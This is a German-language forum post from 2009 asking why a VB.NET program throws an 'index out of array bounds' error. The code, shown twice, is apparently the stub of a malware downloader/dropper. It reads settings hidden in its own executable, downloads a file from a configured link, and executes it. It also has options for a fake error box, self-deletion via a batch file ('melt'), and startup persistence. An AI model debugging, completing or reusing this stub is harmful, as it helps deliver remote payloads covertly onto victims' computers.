inmate
21.04.2009, 17:14
hoffe ihr könnt mir jetzt helfen mit diesem"Index war ausserhalb des arraybereichs fehlers"
diesmal zeigt er sich genauer :)
Code:
Imports System.Environment
Imports System.IO
Public Class Form1
Dim vb6 As New Compatibility.VB6.FixedLengthString(100)
Dim asplit() As String
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim stub As String = Application.ExecutablePath
Dim StubCopy As String = stub.Substring(0, stub.IndexOf(".")) & "stubcopy.exe"
IO.File.Copy(stub, StubCopy)
FileOpen(1, (StubCopy), OpenMode.Binary)
FileGet(1, vb6.Value, LOF(1) - 99)
FileClose(1)
asplit = vb6.Value.Split("~")
IO.File.Delete(StubCopy)
Dim nahme As String = asplit(0)
Dim link As String = asplit(1) // HIER TAUCHT ER AUF \\
Dim execute As Boolean = asplit(2)
Dim auto As Boolean = asplit(3)
Dim fake As Boolean = asplit(4)
Dim text As String = asplit(5)
Dim title As String = asplit(6)
Dim melt As Boolean = asplit(7)
Dim dropp As String = asplit(8)
If dropp = "%desk%" Then
dropp = Environment.GetFolderPath(SpecialFolder.Desktop).T oString & "\" & nahme.ToString
End If
If dropp = "%temp%" Then
dropp = Environ("tmp").ToString & "\" & nahme.ToString
End If
If dropp = "%windir%" Then
dropp = Environ("windir").ToString & "\" & nahme.ToString
End If
My.Computer.Network.DownloadFile(link, dropp)
Application.DoEvents()
If execute = True Then
Process.Start(dropp & nahme)
End If
If fake = True Then
MsgBox(title, text, MsgBoxStyle.Critical)
End If
If melt = True Then
Dim sswriter = New StreamWriter(Environ("windir" & "\delete.bat"))
sswriter.WriteLine("@ echo off")
sswriter.WriteLine("sleep 500")
sswriter.WriteLine("del " & Application.ExecutablePath)
sswriter.WriteLine("del delete.bat")
sswriter.Close()
End If
If auto = True Then
Environment.GetFolderPath(SpecialFolder.Startup & "\" & nahme)
End If
diesmal zeigt er sich genauer :)
Code:
Imports System.Environment
Imports System.IO
Public Class Form1
Dim vb6 As New Compatibility.VB6.FixedLengthString(100)
Dim asplit() As String
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim stub As String = Application.ExecutablePath
Dim StubCopy As String = stub.Substring(0, stub.IndexOf(".")) & "stubcopy.exe"
IO.File.Copy(stub, StubCopy)
FileOpen(1, (StubCopy), OpenMode.Binary)
FileGet(1, vb6.Value, LOF(1) - 99)
FileClose(1)
asplit = vb6.Value.Split("~")
IO.File.Delete(StubCopy)
Dim nahme As String = asplit(0)
Dim link As String = asplit(1) // HIER TAUCHT ER AUF \\
Dim execute As Boolean = asplit(2)
Dim auto As Boolean = asplit(3)
Dim fake As Boolean = asplit(4)
Dim text As String = asplit(5)
Dim title As String = asplit(6)
Dim melt As Boolean = asplit(7)
Dim dropp As String = asplit(8)
If dropp = "%desk%" Then
dropp = Environment.GetFolderPath(SpecialFolder.Desktop).T oString & "\" & nahme.ToString
End If
If dropp = "%temp%" Then
dropp = Environ("tmp").ToString & "\" & nahme.ToString
End If
If dropp = "%windir%" Then
dropp = Environ("windir").ToString & "\" & nahme.ToString
End If
My.Computer.Network.DownloadFile(link, dropp)
Application.DoEvents()
If execute = True Then
Process.Start(dropp & nahme)
End If
If fake = True Then
MsgBox(title, text, MsgBoxStyle.Critical)
End If
If melt = True Then
Dim sswriter = New StreamWriter(Environ("windir" & "\delete.bat"))
sswriter.WriteLine("@ echo off")
sswriter.WriteLine("sleep 500")
sswriter.WriteLine("del " & Application.ExecutablePath)
sswriter.WriteLine("del delete.bat")
sswriter.Close()
End If
If auto = True Then
Environment.GetFolderPath(SpecialFolder.Startup & "\" & nahme)
End If